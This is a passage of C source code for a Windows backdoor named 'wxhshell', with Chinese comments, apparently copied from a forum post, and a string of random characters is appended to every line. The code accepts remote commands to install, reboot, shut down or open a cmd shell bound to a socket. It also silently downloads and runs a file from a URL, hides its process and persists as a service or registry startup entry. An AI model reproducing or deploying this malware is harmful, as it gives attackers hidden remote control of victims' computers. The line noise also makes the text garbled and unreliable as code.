  }5u$/c@f1  
  // 帮助 :<!a.%=  
  case '?': { +H8]5~',L%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e'p'{]r<w  
    break; l7nc8K  
  } 6gNsh  
  // 安装 3N[t2Y1r  
  case 'i': { FG:(H0  
    if(Install()) G-~+FnUC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8-+Ce;h  
    else ]haZT\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %?^IS&]Z  
    break; B&VruOP0  
    } ~4<xTP\*  
  // 卸载 >2tYw,m  
  case 'r': { !T!U@e=u  
    if(Uninstall()) xhWWl(r`5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u%}zLwMH  
    else srLXwoN[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F8S% \i  
    break; +co VE^/w  
    } .]JGCTB3  
  // 显示 wxhshell 所在路径 tDJtsOL  
  case 'p': { TY"8.vd  
    char svExeFile[MAX_PATH]; K)QM xn  
    strcpy(svExeFile,"\n\r"); 0NL~2Qf_4  
      strcat(svExeFile,ExeFile); C|*U)#3:F  
        send(wsh,svExeFile,strlen(svExeFile),0); s#hIzt  
    break; fp^{612O?  
    } ]QlgVw,  
  // 重启 hxZ5EKBy  
  case 'b': { B<%cqz@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EyO=M~nsS  
    if(Boot(REBOOT)) 5bKM}? =L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $SQ UN*/>  
    else { 6j/g/!9c!  
    closesocket(wsh); xf% _HMKc  
    ExitThread(0); uB_8P+h7  
    } H`d595<=i;  
    break; P%2aOsD0  
    } 8iA[w-Pv  
  // 关机  d|;S4m`  
  case 'd': { 0%&ZR=y(G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B]iPixA6  
    if(Boot(SHUTDOWN)) {<+B>6^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n@[_lNa4GD  
    else { Se{x-vn?p  
    closesocket(wsh); z@Pv~"  
    ExitThread(0); l|R BO+}  
    } KPHtD4  
    break; K2|2Ks_CS  
    } |Tv}leJF  
  // 获取shell Xt} 4B#  
  case 's': { H{hd1  
    CmdShell(wsh); $lVR6|n  
    closesocket(wsh); W T~UEK'  
    ExitThread(0); 79`OB##  
    break; 1 etl:gcEC  
  } +-2o b90_m  
  // 退出 : 8h\x  
  case 'x': { -Y>,\VEK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S#Q0aG j  
    CloseIt(wsh); JJe8x4  
    break; !:Z lVIA  
    } >-oB%T  
  // 离开 KTtB!4by  
  case 'q': { 8L1 vt Yz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ec'Hlsgh&T  
    closesocket(wsh); X(_xOU)V  
    WSACleanup(); O2{~Q{p  
    exit(1);  ddK\q!0  
    break; iq1HA.X(  
        } zbY2gq@?  
  } 7XzhKA6  
  } p+7G  
;z2\ Q$  
  // 提示信息 ?qC6p|H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vbBNXy/  
} ahICx{hK  
  } ^#( B4l!  
ty ESDp%  
  return; u:]c  
} QQI,$HId  
;*u"hIl1/  
// shell模块句柄 I-Q@v`  
int CmdShell(SOCKET sock) wE3L,yx=  
{ WwUhwY1o!L  
STARTUPINFO si; P aD6||1F  
ZeroMemory(&si,sizeof(si)); (fA>@5n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #)r^ZA&E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q HU|aC{r  
PROCESS_INFORMATION ProcessInfo; \<ko)I#%  
char cmdline[]="cmd"; p~'iK4[&6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >V%lA3  
  return 0; 6;:z?Q  
} \1Xr4H u  
Yyxsj9  
// 自身启动模式 Xfc+0$U@  
int StartFromService(void) Y-?0!a=e.  
{ |E?PQ?P  
typedef struct r=Tz++!  
{ #Mw 6>5}<  
  DWORD ExitStatus; 22OfbwCb  
  DWORD PebBaseAddress; q\pI&B  
  DWORD AffinityMask; 6b2Z}B  
  DWORD BasePriority; |`|#-xu  
  ULONG UniqueProcessId; %?`O .W  
  ULONG InheritedFromUniqueProcessId; Z)&!ZlM  
}   PROCESS_BASIC_INFORMATION; ='vD4}"j  
Ko|m<;LX  
PROCNTQSIP NtQueryInformationProcess; gU&y5s~  
LwlO)|E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]z#+3DaH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6o0}7T%6  
&t~NR$@  
  HANDLE             hProcess; S;0z%$y  
  PROCESS_BASIC_INFORMATION pbi; n1U!od  
\wV^uS   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O=[Q >\p  
  if(NULL == hInst ) return 0; N_^PoX935O  
u{-@,-{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q4#$ca[_ak  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5rb<u>e{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R$ra=sL`  
S,Z~-j  
  if (!NtQueryInformationProcess) return 0; |*/-~5"  
C547})  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t zShds  
  if(!hProcess) return 0; :5sjF:@  
g#k@R'7E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \ 5.nr*5  
)n6,uTlOw  
  CloseHandle(hProcess); =X1oB ,W{  
!,+<?o y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `w&?SXFO8  
if(hProcess==NULL) return 0; z:a7)z  
=2t=Zyp0Y  
HMODULE hMod; wz..  
char procName[255]; ' 7Mz]@  
unsigned long cbNeeded; &S=Qu?H  
%[, R Q">v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6gabnW3  
4_D *xW  
  CloseHandle(hProcess); .-'_At4g  
l 88n*O  
if(strstr(procName,"services")) return 1; // 以服务启动 #<~oR5ddlb  
;Fo7 -kK  
  return 0; // 注册表启动 IL`LI J:O  
} >V?W_oM)  
blLl1Ak  
// 主模块 <5E)6c_W)  
int StartWxhshell(LPSTR lpCmdLine) &pf"35ll  
{ GEv x<:  
  SOCKET wsl; .]H/u "d  
BOOL val=TRUE; <BIQc,)2}  
  int port=0; kbL7Xjk  
  struct sockaddr_in door; b<!' WpY-  
=0L%<@yA  
  if(wscfg.ws_autoins) Install(); ScjeAC)  
'qUM38s  
port=atoi(lpCmdLine); [p' A?-  
,A&`WE  
if(port<=0) port=wscfg.ws_port; ^q_wtuQ  
x+DETRLP  
  WSADATA data; H<}|n1w<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4X",:B}  
ZbiC=uh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,RDWx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A;5_/ 2  
  door.sin_family = AF_INET; cNT !}8h^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZeY|JH1  
  door.sin_port = htons(port); E,F^!4 rJ$  
Ml9m#c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _k : BY  
closesocket(wsl); ju5o).!bg  
return 1; s$zm)y5  
} l-cBN^^  
P* i 'uN  
  if(listen(wsl,2) == INVALID_SOCKET) { r;)31Tg  
closesocket(wsl); DE7y\oO]  
return 1; -[J4nN&N  
} t^Lb}A#$4  
  Wxhshell(wsl); </Y(4Xwf=  
  WSACleanup(); 3#x1(+c6  
R|^bZf^  
return 0; +=Q:g,kP  
daP_Kz/2K  
} |Xm$O1Wa  
S>b 3_D  
// 以NT服务方式启动 @ ;@~=w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }A]e C  
{ PjX V.gz  
DWORD   status = 0; *iY:R  
  DWORD   specificError = 0xfffffff; [3sZ=)G  
j!kJ@lbP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~(^pGL3<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <KK.f9^o(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YM#MfL#  
  serviceStatus.dwWin32ExitCode     = 0; 3UmkFK<  
  serviceStatus.dwServiceSpecificExitCode = 0; ~\2%h lA  
  serviceStatus.dwCheckPoint       = 0; D"-Wo}"8O'  
  serviceStatus.dwWaitHint       = 0; C-)d@LWI  
=-~))!(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >itNa.K  
  if (hServiceStatusHandle==0) return; 94et ]u%7  
6$:Q]zR#'H  
status = GetLastError(); b{,v?7^4  
  if (status!=NO_ERROR) (J.Z+s$:2  
{ \.oJ/++  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]cv|dc=  
    serviceStatus.dwCheckPoint       = 0; d(XOZF  
    serviceStatus.dwWaitHint       = 0; po'b((q  
    serviceStatus.dwWin32ExitCode     = status; _68vSYr  
    serviceStatus.dwServiceSpecificExitCode = specificError; V=5S=7 Z:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iLJ@oM;2  
    return; t2vm&jk  
  } d (x'\4(K  
Cse`MP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]Jm\k'u[  
  serviceStatus.dwCheckPoint       = 0; E:M,nSc)53  
  serviceStatus.dwWaitHint       = 0; $M4Z_zle)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6M`gy|"(~  
} g 8uq6U  
=n ,1*  
// 处理NT服务事件,比如:启动、停止 [zm@hxym  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ||*F. p  
{ 2A@oa9  
switch(fdwControl) 'I+M*Iy  
{ ,SNrcwv  
case SERVICE_CONTROL_STOP: G1w$lc  
  serviceStatus.dwWin32ExitCode = 0; X<.l(9$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~XP|dn}  
  serviceStatus.dwCheckPoint   = 0; .)+c01  
  serviceStatus.dwWaitHint     = 0; $#+D:W)az  
  { G/FDD{y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "_LqIW1   
  } WkE="E}  
  return; ~GX ]K H  
case SERVICE_CONTROL_PAUSE: {DKZ ~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T?f{.a)  
  break; n.a2%,|v  
case SERVICE_CONTROL_CONTINUE: r5UV BV8T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u&c%L0)E&  
  break; ?Y -;781  
case SERVICE_CONTROL_INTERROGATE: dmXfz D  
  break; =bja\r{  
}; 0wNlt#G;{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YaSBIq{z  
} u6?9#L(  
[^ r8P:Ad  
// 标准应用程序主函数 x:~XZX\mwH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y DHP-0?  
{ =^rp= Az  
f42F@M(:  
// 获取操作系统版本 1Dc6v57  
OsIsNt=GetOsVer(); @:PMb Ub  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kZF<~U  
&dWGa+e  
  // 从命令行安装 b\H&E{Gn|x  
  if(strpbrk(lpCmdLine,"iI")) Install(); - A@<zqu  
bri8o"  
  // 下载执行文件 a}f /<-L  
if(wscfg.ws_downexe) { 9M7P|Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =oh%-Sh:  
  WinExec(wscfg.ws_filenam,SW_HIDE); l#T %N@X  
} !',%kvJI  
)V>OND  
if(!OsIsNt) { {D",ao   
// 如果时win9x,隐藏进程并且设置为注册表启动 G8__6v~  
HideProc(); #"!ga)a%L  
StartWxhshell(lpCmdLine); Rrry;Hr  
} +:ms`Sr>  
else :;hg :Q:  
  if(StartFromService()) X\H P{$fY_  
  // 以服务方式启动 :7.k E  
  StartServiceCtrlDispatcher(DispatchTable); \6/ Gy!0h-  
else nXhP ME  
  // 普通方式启动 Yl'8" \HF  
  StartWxhshell(lpCmdLine); .-T P 1C  
r0[<[jEh  
return 0; sUc[!S:/  
}
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只看该作者 1 发表于: 2006-10-10
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